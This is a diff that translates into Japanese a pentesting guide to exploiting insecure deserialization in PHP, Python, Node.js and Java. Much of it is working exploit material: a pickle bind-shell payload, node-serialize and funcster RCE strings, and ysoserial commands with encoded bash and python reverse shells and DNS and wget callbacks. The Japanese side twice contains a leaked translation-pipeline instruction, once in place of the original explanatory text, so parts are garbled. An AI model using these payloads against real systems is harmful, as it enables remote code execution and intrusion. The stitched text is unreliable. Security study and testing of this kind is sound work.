-**Serialization** is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. +**シリアライゼーション**は、あるオブジェクトを後で復元できるデータ形式に変換するプロセスです。人々はしばしばオブジェクトをシリアライズして、ストレージに保存したり、通信の一部として送信したりします。 -**Deserialization** is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML. +**デシリアライゼーション**はその逆のプロセスであり、ある形式から構造化されたデータを取り出し、オブジェクトに再構築します。現在、データをシリアライズするための最も人気のあるデータ形式はJSONです。それ以前はXMLでした。 -In many occasions you can find some code in the server side that unserialize some object given by the user.\ -In this case, you can send a malicious payload to make the server side behave unexpectedly. +多くの場合、サーバーサイドには、ユーザーが提供したオブジェクトを非シリアライズ化するコードがあります。\ +この場合、サーバーサイドが予期しない動作をするように、悪意のあるペイロードを送信することができます。 -**You should read:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **for learn how to attack.** +**攻撃方法については、**[**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **を読むべきです。** ## PHP -Magic method used with serialization: +シリアライズ時に使用されるマジックメソッド: -* `__sleep` is called when an object is serialized and must be returned to array +* `__sleep`は、オブジェクトがシリアライズされるときに呼び出され、配列に戻される必要があります。 -Magic method used with deserialization - -* `__wakeup` is called when an object is deserialized. -* `__unserialize` is called instead of `__wakeup` if it exists. -* `__destruct` is called when PHP script end and object is destroyed. -* `__toString` uses object as string but also can be used to read file or more than that based on function call inside it. +デシリアライズ時に使用されるマジックメソッド: +* `__wakeup`は、オブジェクトがデシリアライズされるときに呼び出されます。 +* `__unserialize`は、存在する場合は`__wakeup`の代わりに呼び出されます。 +* `__destruct`は、PHPスクリプトが終了し、オブジェクトが破棄されるときに呼び出されます。 +* `__toString`はオブジェクトを文字列として使用しますが、ファイルの読み取りなど、それを利用した関数呼び出しに基づいたさらなる操作も可能です。 ```php s.'
'; - } - public function __toString() - { - echo '__toString method called'; - } - public function __construct(){ - echo "__construct method called"; - } - public function __destruct(){ - echo "__destruct method called"; - } - public function __wakeup(){ - echo "__wakeup method called"; - } - public function __sleep(){ - echo "__sleep method called"; - return array("s"); #The "s" makes references to the public attribute - } +public $s = "This is a test"; +public function displaystring(){ +echo $this->s.'
'; +} +public function __toString() +{ +echo '__toString method called'; +} +public function __construct(){ +echo "__construct method called"; +} +public function __destruct(){ +echo "__destruct method called"; +} +public function __wakeup(){ +echo "__wakeup method called"; +} +public function __sleep(){ +echo "__sleep method called"; +return array("s"); #The "s" makes references to the public attribute +} } $o = new test(); @@ -89,43 +88,44 @@ This is a test
*/ ?> ``` - -If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**. +結果を見ると、オブジェクトがデシリアライズされるときに**`__wakeup`**関数と**`__destruct`**関数が呼び出されることがわかります。注意点として、いくつかのチュートリアルでは、**`__toString`**関数が属性を表示しようとすると呼び出されるとされていますが、おそらくそれはもう**起こらなくなっている**ようです。 {% hint style="warning" %} -`The method`` `**`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization. - +クラスで**`__unserialize(array $data)`**メソッドが実装されている場合、**`__wakeup()`の代わりに**このメソッドが呼び出されます。このメソッドを使用して、シリアライズされたデータを配列として提供してオブジェクトをデシリアライズすることができます。このメソッドを使用してプロパティをデシリアライズし、必要なタスクを実行することができます。 ```php phpCopy codeclass MyClass { - private $property; +private $property; - public function __unserialize(array $data): void { - $this->property = $data['property']; - // Perform any necessary tasks upon deserialization. - } +public function __unserialize(array $data): void { +$this->property = $data['property']; +// Perform any necessary tasks upon deserialization. +} } ``` {% endhint %} -You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) +以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイル/hive/hacktricks/pentesting-web/deserialization/README.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。 + +{% endhint %} + +**PHPの例についてはこちら**を参照してください:[https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、[https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)、または[https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) ### PHP Deserial + Autoload Classes -You could abuse the PHP autoload functionality to load arbitrary php files and more: +PHPのautoload機能を悪用して、任意のphpファイルを読み込んだり、その他の操作を行ったりすることができます。 {% content-ref url="php-deserialization-+-autoload-classes.md" %} [php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md) {% endcontent-ref %} -### Serializing Referenced Values - -If for some reason you want to serialize a value as a **reference to another value serialized** you can: +### 参照値のシリアライズ +何らかの理由で、値を**他の値のシリアライズへの参照としてシリアライズ**したい場合は、次のようにします: ```php param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` +### PHPGGC (PHPのysoserial) -### PHPGGC (ysoserial for PHP) +[**PHPGGC**](https://github.com/ambionics/phpggc)は、PHPの逆シリアル化を悪用するペイロードを生成するのに役立ちます。\ +アプリケーションのソースコードで逆シリアル化を悪用する方法が見つからない場合でも、**外部のPHP拡張機能のコードを悪用することができる場合があります。**\ +したがって、サーバーの`phpinfo()`をチェックし、**インターネット上**(そして**PHPGGCのガジェット**上)で悪用できる可能性のあるガジェットを検索してください。 -[**PHPGCC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\ -Note than in several cases you **won't be able to find a way to abuse a deserialization in the source code** of the application but you may be able to **abuse the code of external PHP extensions.**\ -So, if you can, check the `phpinfo()` of the server and **search on the internet** (an even on the **gadgets** of **PHPGCC**) some possible gadget you could abuse. +### phar://メタデータの逆シリアル化 -### phar:// metadata deserialization - -If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like _**file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.\ -For more information read the following post: +ファイルを読み取り、その中のPHPコードを実行しないLFIを見つけた場合、例えば`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()`などの関数を使用している場合、**phar**プロトコルを使用して**ファイル**を**読み取る**際に逆シリアル化を悪用することができます。\ +詳細については、次の投稿を読んでください: {% content-ref url="../file-inclusion/phar-deserialization.md" %} [phar-deserialization.md](../file-inclusion/phar-deserialization.md) @@ -153,18 +152,16 @@ For more information read the following post: ### **Pickle** -When the object gets unpickle, the function _\_\_reduce\_\__ will be executed.\ -When exploited, server could return an error. - +オブジェクトがアンピクルされると、関数`__reduce__`が実行されます。\ +悪用されると、サーバーはエラーを返す可能性があります。 ```python import pickle, os, base64 class P(object): - def __reduce__(self): - return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) +def __reduce__(self): +return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) print(base64.b64encode(pickle.dumps(P()))) ``` - -For more information about escaping from **pickle jails** check: +**pickle jails**からの脱出についての詳細は、次を参照してください: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) @@ -172,13 +169,13 @@ For more information about escaping from **pickle jails** check: ### Yaml **&** jsonpickle -The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**: +次のページでは、**yamls**のPythonライブラリでの安全でない逆シリアル化を悪用する技術が紹介され、**Pickle、PyYAML、jsonpickle、ruamel.yaml**のためのRCE逆シリアル化ペイロードを生成するために使用できるツールが提供されています: {% content-ref url="python-yaml-deserialization.md" %} [python-yaml-deserialization.md](python-yaml-deserialization.md) {% endcontent-ref %} -### Class Pollution (Python Prototype Pollution) +### クラスの汚染(Pythonのプロトタイプ汚染) {% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} [class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) @@ -188,38 +185,36 @@ The following page present the technique to **abuse an unsafe deserialization in ### JS Magic Functions -JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\ -If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called. - -Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._ +JSにはPHPやPythonのような**"magic" functions**はありませんが、**`toString`**、**`valueOf`**、**`toJSON`**など、**直接呼び出さなくても頻繁に使用される関数**があります。\ +逆シリアル化を悪用することで、これらの関数を**侵害して他のコードを実行**することができます(プロトタイプ汚染を悪用する可能性があります)。これらの関数が呼び出されると、任意のコードが実行されます。 +関数を**直接呼び出さずに関数を呼び出す**もう1つの**"magic"な方法**は、**非同期関数**(プロミス)によって返されるオブジェクトを侵害することです。なぜなら、その**返されたオブジェクト**を別の**プロミス**に**変換**し、**関数型の"then"プロパティ**を持つ場合、別のプロミスによって返されるため、それが**実行**されるからです。詳細については[_**このリンク**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)を参照してください。 ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: async function test_resolve() { - const p = new Promise(resolve => { - console.log('hello') - resolve() - }) - return p +const p = new Promise(resolve => { +console.log('hello') +resolve() +}) +return p } async function test_then() { - const p = new Promise(then => { - console.log('hello') - return 1 - }) - return p +const p = new Promise(then => { +console.log('hello') +return 1 +}) +return p } test_ressolve() test_then() //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ ``` +### `__proto__`と`prototype`の汚染 -### `__proto__` and `prototype` pollution - -If you want to learn about this technique **take a look to the following tutorial**: +このテクニックについて学びたい場合は、以下のチュートリアルを参照してください: {% content-ref url="nodejs-proto-prototype-pollution/" %} [nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/) @@ -227,59 +222,50 @@ If you want to learn about this technique **take a look to the following tutoria ### [node-serialize](https://www.npmjs.com/package/node-serialize) -This library allows to serialise functions. Example: - +このライブラリは、関数をシリアライズすることができます。例: ```javascript var y = { - "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}, +"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}, } var serialize = require('node-serialize'); var payload_serialized = serialize.serialize(y); console.log("Serialized: \n" + payload_serialized); ``` - -The **serialised object** will looks like: - +**シリアライズされたオブジェクト**は次のようになります: ```bash {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} ``` +例では、関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることがわかります。 -You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object. - -Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it. +`node-serialize/lib/serialize.js` ファイル内には、同じフラグとそのコードの使用方法が記述されています。 ![](<../../.gitbook/assets/image (297).png>) ![](<../../.gitbook/assets/image (298).png>) -As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**. - -However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\ -Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\ -In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code: +最後のコードのチャンクでわかるように、フラグが見つかると `eval` が使用されて関数がデシリアライズされます。つまり、ユーザーの入力が `eval` 関数内で使用されることになります。 +ただし、関数を単にシリアライズするだけでは実行されません。例えば、コードの一部が `y.rce` を呼び出している必要があり、それは非常に不可能です。\ +とはいえ、シリアライズされたオブジェクトがデシリアライズされるときに、自動的にシリアライズされた関数が実行されるように、シリアライズされたオブジェクトにいくつかの括弧を追加するだけで済みます。\ +次のコードのチャンクで、最後の括弧に注目し、`unserialize` 関数がコードを自動的に実行することに注意してください。 ```javascript var serialize = require('node-serialize'); var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"}; serialize.unserialize(test); ``` - -As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example: - +以前に示されたように、このライブラリは`_$$ND_FUNC$$_`の後にコードを取得し、`eval`を使用して**実行します**。したがって、**コードを自動実行**するためには、関数の作成部分と最後の括弧を**削除**し、次の例のように**JSのワンライナーを実行**するだけです。 ```javascript var serialize = require('node-serialize'); var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}'; serialize.unserialize(test); ``` - -You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability. +この脆弱性を悪用する方法についての詳細は[こちら](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)で見つけることができます。 ### [funcster](https://www.npmjs.com/package/funcster) -The interesting difference here is that the **standard built-in objects are not accessible**, because they are out of scope. It means that we can execute our code, but cannot call build-in objects’ methods. So if we use `console.log()` or `require(something)`, Node returns an exception like `"ReferenceError: console is not defined"`. - -However, we can easily can get back access to everything because we still have access to the global context using something like `this.constructor.constructor("console.log(1111)")();`: +興味深い違いは、**標準の組み込みオブジェクトにアクセスできない**ことです。なぜなら、それらはスコープ外にあるからです。つまり、コードを実行することはできますが、組み込みオブジェクトのメソッドを呼び出すことはできません。したがって、`console.log()`や`require(something)`を使用すると、Nodeは「"ReferenceError: console is not defined"」のような例外を返します。 +ただし、`this.constructor.constructor("console.log(1111)")();`のようなものを使用して、引き続きグローバルコンテキストにアクセスできるため、簡単にすべてにアクセスできます。 ```javascript funcster = require("funcster"); //Serialization @@ -294,21 +280,17 @@ funcster.deepDeserialize(desertest2) var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' } funcster.deepDeserialize(desertest3) ``` - -**For**[ **more information read this page**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**詳細については、[このページ](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)を読んでください。** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) -The package **doesn’t include any deserialization functionalit**y and requires you to implement it yourself. Their example uses `eval` directly. This is the official deserialisation example: - +このパッケージには**逆シリアル化の機能は含まれておらず**、自分で実装する必要があります。彼らの例では、`eval`を直接使用しています。これが公式の逆シリアル化の例です: ```javascript function deserialize(serializedJavascript){ - return eval('(' + serializedJavascript + ')'); +return eval('(' + serializedJavascript + ')'); } ``` - -If this function is used to deserialize objects you can **easily exploit it**: - +この関数がオブジェクトをデシリアライズするために使用される場合、それを**簡単に悪用**することができます。 ```javascript var serialize = require('serialize-javascript'); //Serialization @@ -319,91 +301,57 @@ console.log(test) //function() { return "Hello world!" } var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` +### Cryoライブラリ -### Cryo library - -In the following pages you can find information about how to abuse this library to execute arbitrary commands: +以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法についての情報を見つけることができます: * [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) * [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) ## Java - HTTP -The main problem with deserialized objects in Java is that **deserialization callbacks were invoked during deserialization**. This makes possible for an **attacker** to **take advantage of that callbacks** and prepare a payload that abuses the callbacks to **perform malicious actions**. +Javaでのシリアライズされたオブジェクトの主な問題は、**デシリアライズ中にデシリアライズコールバックが呼び出される**ことです。これにより、**攻撃者**はそのコールバックを悪用するペイロードを準備し、**悪意のあるアクションを実行**することが可能になります。 -### Fingerprints +### フィンガープリント -#### White Box +#### ホワイトボックス -Search inside the code for serialization classes and function. For example, search for classes implementing `Serializable` , the use of `java.io.ObjectInputStream` \_\_ or `readObject` \_\_ or `readUnshare` functions\_.\_ +コード内を検索して、シリアライズクラスと関数を探します。たとえば、`Serializable`を実装するクラス、`java.io.ObjectInputStream`の使用、`readObject`または`readUnshare`関数の使用などを検索します。 -You should also keep an eye on: +また、以下にも注意を払う必要があります: -* `XMLdecoder` with external user defined parameters -* `XStream` with `fromXML` method (xstream version <= v1.46 is vulnerable to the serialization issue) -* `ObjectInputStream` with `readObject` -* Uses of `readObject`, `readObjectNodData`, `readResolve` or `readExternal` +* 外部ユーザー定義パラメータを使用した`XMLdecoder` +* `fromXML`メソッドを使用した`XStream`(xstreamバージョン<= v1.46はシリアライゼーションの問題があります) +* `readObject`を使用した`ObjectInputStream` +* `readObject`、`readObjectNodData`、`readResolve`、または`readExternal`の使用 * `ObjectInputStream.readUnshared` * `Serializable` -#### Black Box +#### ブラックボックス -**Fingerprints/Magic Bytes** of **java serialised** objects (from `ObjectInputStream`): - -* `AC ED 00 05` in Hex -* `rO0` in Base64 -* `Content-type` header of an HTTP response set to `application/x-java-serialized-object` -* `1F 8B 08 00` Hex previously compressed -* `H4sIA` Base64 previously compressed -* Web files with extension `.faces` and `faces.ViewState` parameter. If you find this in a wabapp, take a look to the [**post about Java JSF VewState Deserialization**](java-jsf-viewstate-.faces-deserialization.md). +**Javaシリアライズ**オブジェクトの**フィンガープリント/マジックバイト**(`ObjectInputStream`から): +* 16進数での`AC ED 00 05` +* Base64での`rO0` +* HTTPレスポンスの`Content-type`ヘッダが`application/x-java-serialized-object`に設定されている +* 事前に圧縮された16進数での`1F 8B 08 00` +* 事前に圧縮されたBase64での`H4sIA` +* 拡張子が`.faces`であり、`faces.ViewState`パラメータを持つWebファイル。これをWebアプリで見つけた場合は、[**Java JSF VewState Deserializationに関する投稿**](java-jsf-viewstate-.faces-deserialization.md)を参照してください。 ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` +### 脆弱性のチェック -### Check if vulnerable +Javaの逆シリアル化の脆弱性の仕組みについて学びたい場合は、[**基本的なJava逆シリアル化**](basic-java-deserialization-objectinputstream-readobject.md)、[**Java DNS逆シリアル化**](java-dns-deserialization-and-gadgetprobe.md)、および[**CommonsCollection1ペイロード**](java-transformers-to-rutime-exec-payload.md)を参照してください。 -If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). - -#### White Box Test - -You can check if there is installed any application with known vulnerabilities. +#### ホワイトボックステスト +既知の脆弱性を持つアプリケーションがインストールされているかどうかを確認できます。 ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` - -You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ -You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\ -When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**. - -#### Black Box Test - -Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\ -[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ -GadgetProbe is focused on \*\* `ObjectInputStream` \*\* deserializations\*\*.\*\* - -Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\ -[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ -Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations. - -You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect \*\*not only `ObjectInputStream`\*\*related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\ -[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) - -**Serialization Test** - -Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\ -If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks. - -### **Exploit** - -#### **ysoserial** - -The most well-known tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\ -Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\ -I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is. - +以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイル/hive/hacktricks/pentesting-web/deserialization/README.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。 ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload @@ -428,7 +376,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -Non #PoC RCE in Linux # Ping -java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload +java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload # Time ## Using time in bash I didn't notice any difference in the timing of the response # Create file @@ -444,171 +392,158 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkoc java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0 ## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}" - -# Base64 encode payload in base64 +# Base64でペイロードをエンコードする base64 -w0 payload ``` +**java.lang.Runtime.exec()**のペイロードを作成する際には、">"や"|"のような特殊文字を使用して実行結果をリダイレクトすることや、"$()"を使用してコマンドを実行すること、さらにはスペースで区切られた引数をコマンドに渡すことはできません(`echo -n "hello world"`はできますが、`python2 -c 'print "Hello world"'`はできません)。ペイロードを正しくエンコードするためには、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html)を使用することができます。 -When creating a payload for **java.lang.Runtime.exec()** you **cannot use special characters** like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even **pass arguments** to a command separated by **spaces** (you can do `echo -n "hello world"` but you can't do `python2 -c 'print "Hello world"'`). In order to encode correctly the payload you could [use this webpage](http://www.jackson-t.ca/runtime-exec-payloads.html). - -Feel free to use the next script to create **all the possible code execution** payloads for Windows and Linux and then test them on the vulnerable web page: - +次のスクリプトを使用して、WindowsとLinuxの**すべての可能なコード実行**ペイロードを作成し、その後、脆弱なウェブページでテストしてください。 ```python import os import base64 - + # You may need to update the payloads payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1'] def generate(name, cmd): - for payload in payloads: - final = cmd.replace('REPLACE', payload) - print 'Generating ' + payload + ' for ' + name + '...' - command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"') - result = command.read() - command.close() - encoded = base64.b64encode(result) - if encoded != "": - open(name + '_intruder.txt', 'a').write(encoded + '\n') - +for payload in payloads: +final = cmd.replace('REPLACE', payload) +print 'Generating ' + payload + ' for ' + name + '...' +command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"') +result = command.read() +command.close() +encoded = base64.b64encode(result) +if encoded != "": +open(name + '_intruder.txt', 'a').write(encoded + '\n') + generate('Windows', 'ping -n 1 win.REPLACE.server.local') generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` - #### serialkillerbypassgadgets -You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) +[https://github.com/pwntester/SerialKillerBypassGadgetCollection](https://github.com/pwntester/SerialKillerBypassGadgetCollection)を使用して、ysoserialと組み合わせてさらにエクスプロイトを作成することができます。このツールの詳細については、ツールが発表されたトークのスライドで確認できます:[https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1) #### marshalsec -[**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.\ -In order to compile the project I needed to **add** this **dependencies** to `pom.xml`: - +[https://github.com/mbechler/marshalsec](https://github.com/mbechler/marshalsec)は、Javaで異なるJsonおよびYmlシリアライゼーションライブラリをエクスプロイトするためのペイロードを生成するために使用できます。\ +プロジェクトをコンパイルするために、`pom.xml`に次の依存関係を追加する必要がありました: ```markup - javax.activation - activation - 